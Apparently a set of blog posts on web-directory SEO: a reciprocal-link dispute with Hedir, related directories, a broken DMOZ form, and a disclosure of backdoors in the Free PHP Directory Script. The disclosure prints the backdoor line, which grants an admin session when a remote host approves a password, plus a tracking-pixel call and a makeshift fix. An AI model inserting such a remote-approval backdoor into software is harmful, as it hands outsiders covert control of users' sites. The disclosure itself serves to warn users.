So a new general directory owner or manager feels all listed sites should link back to them and is willing to delete the entire database if they have to.

Bet that adds value to their site. Good way to "build" a directory, eh.

What ever happened to the old concept of building value and then extracting profits from it?

Fun email sequence in the extended entry... from Lakhya

Regarding your site listing at:
http://www.hedir.com/antiques.html
I think i can get a backlink:

from me

once you stopped accepting sites I submitted I stopped caring about your directory.

sorry if that sounds blunt

but when you arbitrarily decide to stop accepting any and all
submissions I stop trying to help you.

from Lakhya

Hedir.com management has changed. I am the webmaster now. This is one of the projects i have undertaken recently . I am restructuring hedir design and policy.
I have noticed that you have got 10 sites listed in my directory .
I do not find any history of your helping the directory either with link or any other way . Could you please enlighten me regarding this ? Coz i believe in the concept of mutual help in the webmaster
community .

me

I was helping your directory. it was in my directory of directories. it was on my list of directories that over 1,000 have, etc.

when it started screwing around with rejecting every submission I made I stopped making submissions and pulled my support for it.

I also have a theory that directories can charge for inclusion if they like but if they require reciprocal links and are general directories then generally they are a waste of time.

from Lakhya

The site is going paid this march , with basic submission still free.You are welcome to submit as many sites as you want .

Reciprocal link is a part of my policy towards existing sites as i am deleting the old base . So, i am pulling out your links from the directory .

You can resubmit your sites if you want .

On the other side of the coin I am a big fan of the Bruce Stone theory:

Give the webmasters what they need. Links, good and fast service and as many pages index by the search engines as conceivably possible. This generates traffic, something directories have been poor in delivering. You’re not doing the webmaster a favor by accepting their site. They are doing you the favor by developing the database for you. :from interview

It is a mutual thing and if you try to work hard to create something of value others will try to help you.

Sadly many directories subscribe to the Hedir philosophy.

Give me. I am greedy. Give me. Give me. Give me.

Directories list sites. Good sites do not generally list bad general directories.

The biggest problem with most sites these days is that most try to extract profit without building any value.

Sure you can do that if you are technologicaly gifted or know the right people, but deleting large portions of a database because they do not link to is probably the wrong way to "build" a directory.

So there have been an arse ton of new directories to hit the market.

I think listing sites in many of these will surely improve your Yahoo! and MSN search relevancy scores (or at least my own experiences have shown that), but I do not think many of them carry anywhere near as much weight with Google.

IMHO a disturbing pattern is emerging where the same directory owners own 2 or more directories which are easily identifiable as being related - especially since even many of the related directories have built significant portions of their link popularity from the same sources - and often even the same pages (while also registered under the same WhoIs information). Algorithms such as Hilltop mean the second "related" directory listing probobably counts for next to nothing in terms of its effects on Google's search relevancy.

The multi directory approach makes it far easier to make one of the directories a throw away...which makes the second similar directory do little to ensure added value over the first. If the registration data is the same for two directories and you do not expect them to drive much direct traffic then it might be worth just paying for listing in whichever one of the directories you think is going to be the main directory.

Lots of hate threads seem to be appearing about various directories (BlueFind, WebAtlas, and now RubberStamped)...often from other directory owners or close friends of other directory owners as well. Some people who run directories are also creating directory rating sites which are obviously going to be inherently biased.

When it comes down to it I do not think that search engines will need to do a ton of work to offset the effects various directories may have on search relevancy. The directory space is becoming hyper competitive (and thus likely providing diminishing returns for many directory owners) and many directories are making errors which will hurt themselves....sitewide payday loan links and top level penis pill listed sites do nothing to build brand or useful citation data.

If the search engines decide that data adds no value to their algorithm there is nothing that will force them to use it (as seen by what happened to SearchKing).

I have been trying my best to keep up with many of the directories, but eventually its going to be pretty darn hard to do. As the search algorithms continue to advance and new directories appear at an advancing rate I will probably have to look at other ways to keep up with new directories or abandondon the idea...at least in its current format.

I am starting to get the feeling that much of my time would be better spent learning and creating better ideas which effectively sell themselves, but for now I am still doing lots of submissions...

I am currently reading Blink and find it to be an interesting book thusfar. :)

Sometimes when people apply to DMOZ they spend a half hour filling out the application and then hit submit. In return they get stuff like:

There has been a failure in processing your form. We will work on it, we hope to have it up soon.
We are sorry for the inconvenience.

Why make a person wait until AFTER they filled out all their info to tell them they are SOL?

You probably know when it is broken, why not just state that up front?

Leaving a broken form up which wastes time does not make the directory any more open...it actually probably closes off a bunch of potential editors. Wasting people's time only builds negative sentiment.

Because it is pretty damn bogus.

[update: Javier has removed the database access egg from his script.]

Tons of new directories are springing up using the Free PHP Directory Script created by Javier García Esteban (of Directory-Search or Biz-Directory). While his download page states "the script runs without known bugs with PHP4 and MySQL3," the script also ran with known eggs put in the programming.

Anyone who puts eggs in their software so they can have backdoor access to anyone using it does not have the best intentions for their users.

The two eggs I have been told about are:

• on line 62 of install_4.php - sends a referer to his directory
  
  <IMG SRC="http://www.directory-search.org/img/invis.gif" WIDTH=1 HEIGHT=1>

• on line 60 of include.php (must scroll to the right) - allowed Javier database access
  
  if ($pass) { $access = fopen ("http://www.directory-search.org/include_variables.php?p=$pass","r"); $access = fread($access,4); if ($access == "true"){ session_start(); $HTTP_SESSION_VARS['admin'] = true; header("Location: {$dir}admin_edit.php"); }; };

The first egg is harmless. It only identifies new installations. The second egg gave Javier access to your database.

The eggs are not hard to remove from the directory script. If you have an old version of the script you may want to remove the eggs.

• You can replace the image in the first egg with your own image or just delete that line of code. That first egg really is no big deal.

• The second egg is complete crap. [added: The second egg gives Javier backdoor access to the script. After I posted this Javier stated that he removed that egg. It is a shame that it was ever there in the first place.]

  To remove the second egg you need to remove that above part on line 60 (scroll way to the right) of include.php and replace it with:
  if ($pass) {
  $rand = md5(time());
  $access = fopen ("p=$rand","r");
  $access = fread($access,4);
  if ($access == "true") {
  session_start();
  $HTTP_SESSION_VARS['admin'] = true;
  header("Location: {$dir}admin_edit.php");
  };
  };
  (at least this is what I did)
  I also changed my PHPmyAdmin panel login password after I changed the script. Javier stated that the password was never sent even when the egg was there...he just was using it for backdoor access...as he states in his comment below. He also stated the place which was sent the database access is now a 404 error.

Thanks to MarketingLady at V7N forums. More info about the Free PHP Directory Script Backdoor.

Here is another one of my articles. This one talks about the strugles that face directories today. Directories even as large in scale as the virtual library get rebuilt with newer and smaller sub directories.

My article also announces the launching of my new site Directory Archives .com